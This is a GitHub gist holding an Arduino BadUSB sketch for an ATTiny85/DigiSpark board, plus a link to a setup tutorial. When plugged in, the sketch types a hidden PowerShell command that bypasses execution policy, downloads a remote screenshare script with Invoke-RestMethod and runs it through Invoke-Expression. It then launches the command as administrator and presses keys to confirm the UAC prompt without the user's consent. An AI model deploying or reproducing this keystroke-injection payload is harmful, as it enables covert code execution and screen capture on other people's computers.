Last active
April 26, 2025 12:10
-
-
Save zr0n/950c900240482e1aadd81391fae12325 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "DigiKeyboard.h" | |
// Teclas universais (códigos HID) | |
#define KEY_MINUS 45 | |
#define KEY_SLASH 56 | |
#define KEY_SPACE 44 | |
#define KEY_COLON 33 // Shift + ; | |
#define KEY_TAB 43 | |
//#define KEY_SLASH 0x38 // Código físico para tecla '/' | |
#define KEY_BACKSLASH 0x31 | |
void setup() { | |
DigiKeyboard.sendKeyStroke(0); // Liberar teclas | |
// Abrir Executar (universal) | |
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); | |
DigiKeyboard.delay(1500); | |
// Digitar comando de forma universal | |
sendCharSequence("powershell ", 10); | |
sendSpecialChar(KEY_MINUS); // - | |
sendCharSequence ("Ep Bypass ", 10); | |
sendSpecialChar(KEY_MINUS); // - | |
sendCharSequence("W H ", 10); | |
sendSpecialChar(KEY_MINUS); // - | |
sendCharSequence("C \"", 10); | |
// URL do script | |
//sendCharSequence("Invoke-RestMethod https://raw.githubusercontent.com/hak5/usbrubberducky-payloads/refs/heads/master/payloads/library/recon/Screenshare-Over-LAN/Screenshare-Over-LAN.ps1 ", 10); | |
sendCharSequence("Invoke-RestMethod https://gist.githubusercontent.com/zr0n/950c900240482e1aadd81391fae12325/raw/f59b40f361661a555caf14427b1aadee1cf7f2a2/screenshare_rubber.ps1 ", 10); | |
// Pipe universal (AltGr+1 ou Shift+\) | |
//DigiKeyboard.sendKeyStroke(KEY_SLASH, MOD_SHIFT_RIGHT); // | | |
//DigiKeyboard.sendKeyStroke(KEY_SLASH, MOD_SHIFT_LEFT); | |
DigiKeyboard.sendKeyStroke(KEY_BACKSLASH, MOD_SHIFT_LEFT); | |
sendCharSequence(" Invoke-Expression\"", 10); | |
// Executar como admin (universal) | |
DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT); | |
// Confirmação UAC universal | |
handleUAC(); | |
} | |
void loop() {} | |
// Função para envio universal de caracteres especiais | |
void sendSpecialChar(uint8_t key) { | |
DigiKeyboard.sendKeyStroke(key); | |
DigiKeyboard.delay(50); | |
} | |
// Função para sequências de caracteres com timing controlado | |
void sendCharSequence(const char* text, uint16_t delayTime) { | |
for(int i=0; text[i]!='\0'; i++) { | |
DigiKeyboard.print(text[i]); | |
DigiKeyboard.delay(delayTime); | |
} | |
} | |
// Sistema de confirmação UAC multi-idioma | |
void handleUAC() { | |
DigiKeyboard.delay(3000); | |
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_ALT_LEFT); // Alt+Tab para focar no UAC | |
DigiKeyboard.delay(500); | |
DigiKeyboard.sendKeyStroke(KEY_TAB); | |
DigiKeyboard.delay(100); | |
DigiKeyboard.sendKeyStroke(KEY_TAB); | |
DigiKeyboard.delay(100); | |
DigiKeyboard.sendKeyStroke(KEY_ENTER); // Confirma | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
How to use:
Follow this tutorial for how to setup a bad usb using an ATTiny85 and upload the .ino script of this page.
https://github.com/byui-soc/bad-usb